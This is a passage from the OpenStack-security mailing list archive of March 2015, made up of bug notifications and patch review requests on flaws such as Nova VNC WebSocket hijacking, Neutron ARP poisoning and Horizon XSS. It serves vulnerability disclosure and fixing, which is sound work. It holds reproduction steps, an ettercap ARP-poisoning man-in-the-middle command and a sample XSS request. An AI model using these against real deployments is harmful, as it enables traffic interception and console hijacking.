bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Fri Mar 13 00:52:18 2015 From: 1409142 at bugs.launchpad.net (Alan Pevec) Date: Fri, 13 Mar 2015 00:52:18 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150313005222.25137.50366.launchpad@soybean.canonical.com> ** Changed in: nova/icehouse Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Committed Status in OpenStack Compute (nova) icehouse series: Fix Released Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Fri Mar 13 17:30:38 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 13 Mar 2015 17:30:38 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150313173038.18541.84532.malone@gac.canonical.com> Reviewed: https://review.openstack.org/163034 Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=676ba7bbc788a528b0fe4c87c1c4bf94b4bb6eb1 Submitter: Jenkins Branch: stable/juno commit 676ba7bbc788a528b0fe4c87c1c4bf94b4bb6eb1 Author: Dave McCowan Date: Tue Feb 24 21:35:48 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 ** Changed in: nova/juno Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Committed Status in OpenStack Compute (nova) icehouse series: Fix Released Status in OpenStack Compute (nova) juno series: Fix Committed Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From croberts at redhat.com Fri Mar 13 18:01:59 2015 From: croberts at redhat.com (Chad Roberts) Date: Fri, 13 Mar 2015 18:01:59 -0000 Subject: [Openstack-security] [Bug 1431944] Re: Swift passwords should use key manager interface References: <20150313161221.24854.14570.malonedeb@chaenomeles.canonical.com> Message-ID: <20150313180200.24823.42176.launchpad@chaenomeles.canonical.com> ** Changed in: sahara Assignee: (unassigned) => Michael McCune (mimccune) ** Changed in: sahara Status: New => Confirmed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1431944 Title: Swift passwords should use key manager interface Status in OpenStack Data Processing (Sahara): Confirmed Bug description: Swift passwords are currently stored in the default database. This behavior should be migrated to the key manager interface to allow for storage in an external manager (when enabled). To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1431944/+subscriptions From gerrit2 at review.openstack.org Wed Mar 18 14:39:21 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 18 Mar 2015 14:39:21 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit df1b0edb5a49439035207b3dea432d4dee2bce3b Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option * changing cdh_config resource in v5 & v5_3_0 to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From gerrit2 at review.openstack.org Wed Mar 18 17:56:27 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 18 Mar 2015 17:56:27 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit fa740980d82eb79f50147ba439cb050cc7894f7e Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From gerrit2 at review.openstack.org Wed Mar 18 20:13:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 18 Mar 2015 20:13:05 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141130 Log: commit 568dea8a7545ee86ea3c939e962af30247a341b1 Author: Édouard Thuleau Date: Tue Feb 10 13:43:34 2015 +1300 ARP spoofing patch: Low level ebtables integration ARP cache poisoning is not actually prevented by the firewall driver 'iptables_firewall'. We are adding the use of the ebtables command - with a corresponding ebtables-driver - in order to create Ethernet frame filtering rules, which prevent the sending of ARP cache poisoning frames. The complete patch is broken into a set of smaller patches for easier review. This patch here is th first of the series and includes the low-level ebtables integration, unit and functional tests. Note: This commit is based greatly on an original, now abandoned patch, presented for review here: https://review.openstack.org/#/c/70067/ Full spec can be found here: https://review.openstack.org/#/c/129090/ SecurityImpact Change-Id: I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Implements: blueprint arp-spoof-patch-ebtables Related-Bug: 1274034 Co-Authored-By: jbrendel From gerrit2 at review.openstack.org Thu Mar 19 00:46:43 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 00:46:43 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141130 Log: commit 576798b6c87047742a0c9f6a1ae88a4b23520e97 Author: Édouard Thuleau Date: Tue Feb 10 13:43:34 2015 +1300 ARP spoofing patch: Low level ebtables integration ARP cache poisoning is not actually prevented by the firewall driver 'iptables_firewall'. We are adding the use of the ebtables command - with a corresponding ebtables-driver - in order to create Ethernet frame filtering rules, which prevent the sending of ARP cache poisoning frames. The complete patch is broken into a set of smaller patches for easier review. This patch here is th first of the series and includes the low-level ebtables integration, unit and functional tests. Note: This commit is based greatly on an original, now abandoned patch, presented for review here: https://review.openstack.org/#/c/70067/ Full spec can be found here: https://review.openstack.org/#/c/129090/ SecurityImpact Change-Id: I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Implements: blueprint arp-spoof-patch-ebtables Related-Bug: 1274034 Co-Authored-By: jbrendel From gerrit2 at review.openstack.org Thu Mar 19 13:36:57 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 13:36:57 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit 08d2a4c014794265f7050f14e4f7d3dde684c839 Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From gerrit2 at review.openstack.org Thu Mar 19 13:38:37 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 13:38:37 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit 240d821365cbdedfe243571b60492f45fd7dc306 Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From gerrit2 at review.openstack.org Thu Mar 19 13:45:56 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 13:45:56 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit 7a78ed991985d257ca7223cd416934ad3786ac91 Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From gerrit2 at review.openstack.org Thu Mar 19 13:47:32 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 13:47:32 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit 9b43241b4089710d5217b5af88a313b35b9153b6 Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From thierry.carrez+lp at gmail.com Thu Mar 19 13:44:04 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 13:44:04 -0000 Subject: [Openstack-security] [Bug 1376915] Re: Access to sensitive audit data is not properly restricted References: <20141002203501.17647.70947.malonedeb@chaenomeles.canonical.com> Message-ID: <20150319134406.26180.23628.launchpad@gac.canonical.com> ** Changed in: ceilometer Milestone: kilo-3 => kilo-rc1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1376915 Title: Access to sensitive audit data is not properly restricted Status in OpenStack Telemetry (Ceilometer): In Progress Status in OpenStack Security Advisories: Won't Fix Bug description: Audit data stored in http.request and http.response meters is not being adequately protected. Admins are allowed to access audit data for all projects rather than just their own. Non-admins are allowed to access audit data for all users within their project rather than just themselves. A non-admin user should not be able to see what other users are doing, and being an admin in project A does not make you an admin in project B. The following blueprints acknowledge the lack of this support. To quote one: "as ceilometer collects more and more different types of data... some of the data collected may be 'privileged' data that only admins should have access to regardless of membership to a tenant (ie. audit data should only be visible to admins)". That day has come, and the implementation of these blueprints is still missing. At this point there is a security hole here (data exposure) which needs to be plugged immediately, either with the implementation of one of these blueprints (which should probably be merged together) or by a less flexible but more easily implemented stopgap measure. Given time constraints and the urgency of closing this hole, I propose the latter, though the blueprints will obviously still be necessary for a more robust and complete solution. https://blueprints.launchpad.net/ceilometer/+spec/advanced-policy-rule and https://blueprints.launchpad.net/ceilometer/+spec/admin-only-api- access and https://blueprints.launchpad.net/ceilometer/+spec/ready- ceilometer-rbac-keystone-v3 To manage notifications about this bug go to: https://bugs.launchpad.net/ceilometer/+bug/1376915/+subscriptions From 1274034 at bugs.launchpad.net Thu Mar 19 14:13:56 2015 From: 1274034 at bugs.launchpad.net (Kyle Mestery) Date: Thu, 19 Mar 2015 14:13:56 -0000 Subject: [Openstack-security] [Bug 1274034] Re: Neutron firewall anti-spoofing does not prevent ARP poisoning References: <20140129101504.12361.90017.malonedeb@gac.canonical.com> Message-ID: <20150319141359.14688.5787.launchpad@soybean.canonical.com> ** Changed in: neutron Milestone: kilo-3 => None -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1274034 Title: Neutron firewall anti-spoofing does not prevent ARP poisoning Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Security Advisories: Invalid Status in OpenStack Security Notes: Fix Released Bug description: The neutron firewall driver 'iptabes_firawall' does not prevent ARP cache poisoning. When anti-spoofing rules are handled by Nova, a list of rules was added through the libvirt network filter feature: - no-mac-spoofing - no-ip-spoofing - no-arp-spoofing - nova-no-nd-reflection - allow-dhcp-server Actually, the neutron firewall driver 'iptabes_firawall' handles only MAC and IP anti-spoofing rules. This is a security vulnerability, especially on shared networks. Reproduce an ARP cache poisoning and man in the middle: - Create a private network/subnet 10.0.0.0/24 - Start 2 VM attached to that private network (VM1: IP 10.0.0.3, VM2: 10.0.0.4) - Log on VM1 and install ettercap [1] - Launch command: 'ettercap -T -w dump -M ARP /10.0.0.4/ // output:' - Log on too on VM2 (with VNC/spice console) and ping google.fr => ping is ok - Go back on VM1, and see the VM2's ping to google.fr going to the VM1 instead to be send directly to the network gateway and forwarded by the VM1 to the gw. The ICMP capture looks something like that [2] - Go back to VM2 and check the ARP table => the MAC address associated to the GW is the MAC address of VM1 [1] http://ettercap.github.io/ettercap/ [2] http://paste.openstack.org/show/62112/ To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1274034/+subscriptions From thierry.carrez+lp at gmail.com Thu Mar 19 14:20:49 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 14:20:49 -0000 Subject: [Openstack-security] [Bug 1428829] Re: Fernet tokens don't return audit_ids References: <20150305202358.5908.70068.malonedeb@wampee.canonical.com> Message-ID: <20150319142051.13678.8032.launchpad@wampee.canonical.com> ** Changed in: keystone Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1428829 Title: Fernet tokens don't return audit_ids Status in OpenStack Identity (Keystone): Fix Released Bug description: The Fernet token formatters accidentally pop the audit_ids from the token_data [1]. The audit_ids shouldn't be removed from the token_data because we need them in the response. [1] https://github.com/openstack/keystone/blob/d36e499a837074d65365ffa440470516c64e2ab6/keystone/token/providers/fernet/token_formatters.py#L126 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1428829/+subscriptions From thierry.carrez+lp at gmail.com Thu Mar 19 14:22:37 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 14:22:37 -0000 Subject: [Openstack-security] [Bug 1424089] Re: Use SystemRandom rather than random References: <20150220225213.28004.475.malonedeb@soybean.canonical.com> Message-ID: <20150319142240.13645.16296.launchpad@wampee.canonical.com> ** Changed in: keystone Status: Fix Committed => Fix Released ** Changed in: keystone Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1424089 Title: Use SystemRandom rather than random Status in OpenStack Identity (Keystone): Fix Released Status in OpenStack Security Advisories: Won't Fix Bug description: SystemRandom should be preferred over direct use of random. To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1424089/+subscriptions From thierry.carrez+lp at gmail.com Thu Mar 19 14:39:40 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 14:39:40 -0000 Subject: [Openstack-security] [Bug 1417762] Re: XSS in network create error reporting References: <20150203205415.432.2591.malonedeb@wampee.canonical.com> Message-ID: <20150319143941.13742.57487.launchpad@wampee.canonical.com> ** Changed in: horizon Milestone: kilo-3 => kilo-rc1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1417762 Title: XSS in network create error reporting Status in OpenStack Dashboard (Horizon): New Status in OpenStack Security Advisories: Won't Fix Bug description: --- This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. --- The error reporting in Horizon for creating a new network is susceptible to a Cross-Site Scripting vulnerability. Example request/response: Request POST /project/networks/create HTTP/1.1 ... csrfmiddlewaretoken=6MGUvp62x8c6GU7TfRXQLZERmJuN7nXT&net_profile_id=&net_name=foobar&admin_state=True&with_subnet=on&subnet_name=&cidr=&ip_version=4&gateway_ip=&enable_dhcp=on&ipv6_modes=none%2Fnone&allocation_pools=&dns_nameservers=&host_routes= Response HTTP/1.1 200 OK Date: Tue, 03 Feb 2015 20:42:28 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Language,Cookie X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Content-Length: 209 {"has_errors": true, "errors": {"createnetworkinfoaction": {"net_profile_id": ["Select a valid choice. is not one of the available choices."]}}, "workflow_slug": "create_network"} In the above example if the net_profile_id does not exist, the json response contains the user input and Horizon echo's it out. Although it would be difficult to exploit this vulnerability because an attacker would need to manipulate the hidden HTML net_profile_id parameter or the POST body, Horizon should still HTML encode the output. To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1417762/+subscriptions From gerrit2 at review.openstack.org Thu Mar 19 16:38:48 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 16:38:48 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit c7d81340f2862adad280a5a3cc53df612c3d23aa Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From thierry.carrez+lp at gmail.com Thu Mar 19 16:28:49 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 16:28:49 -0000 Subject: [Openstack-security] [Bug 1187107] Re: quantum-ns-metadata-proxy runs as root References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150319162851.7266.26789.launchpad@chaenomeles.canonical.com> ** Changed in: neutron Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): Fix Released Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From gerrit2 at review.openstack.org Thu Mar 19 17:39:04 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 19 Mar 2015 17:39:04 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit df9355c3bbe97ec537a4069efebda8fa91401185 Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option * changing ClouderaUtil to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From thierry.carrez+lp at gmail.com Thu Mar 19 19:10:30 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 19:10:30 -0000 Subject: [Openstack-security] [Bug 1420863] Re: Default setting should be secure References: <20150211162312.25090.29300.malonedeb@chaenomeles.canonical.com> Message-ID: <20150319191032.9706.42629.launchpad@soybean.canonical.com> ** Changed in: horizon Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1420863 Title: Default setting should be secure Status in OpenStack Dashboard (Horizon): Fix Released Status in OpenStack + Chef: Fix Released Bug description: Horizon has some instructions for setting it up in a secure way[1]. These settings should be the default. [1] http://docs.openstack.org/developer/horizon/topics/deployment.html #secure-site-recommendations To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1420863/+subscriptions From thierry.carrez+lp at gmail.com Thu Mar 19 19:21:30 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Thu, 19 Mar 2015 19:21:30 -0000 Subject: [Openstack-security] [Bug 1414532] Re: asserts used in cache.py References: <20150126041237.12665.35620.malonedeb@soybean.canonical.com> Message-ID: <20150319192132.10053.32971.launchpad@soybean.canonical.com> ** Changed in: glance Milestone: kilo-3 => kilo-rc1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1414532 Title: asserts used in cache.py Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: New Bug description: The asserts in the snippet below check at #2 to see if the HTTP method match the HTTP methods actually specified in the patterns at #1. /opt/stack/glance/glance/api/middleware/cache.py PATTERNS = { <--- #1 ('v1', 'GET'): re.compile(r'^/v1/images/([^\/]+)$'), ('v1', 'DELETE'): re.compile(r'^/v1/images/([^\/]+)$'), 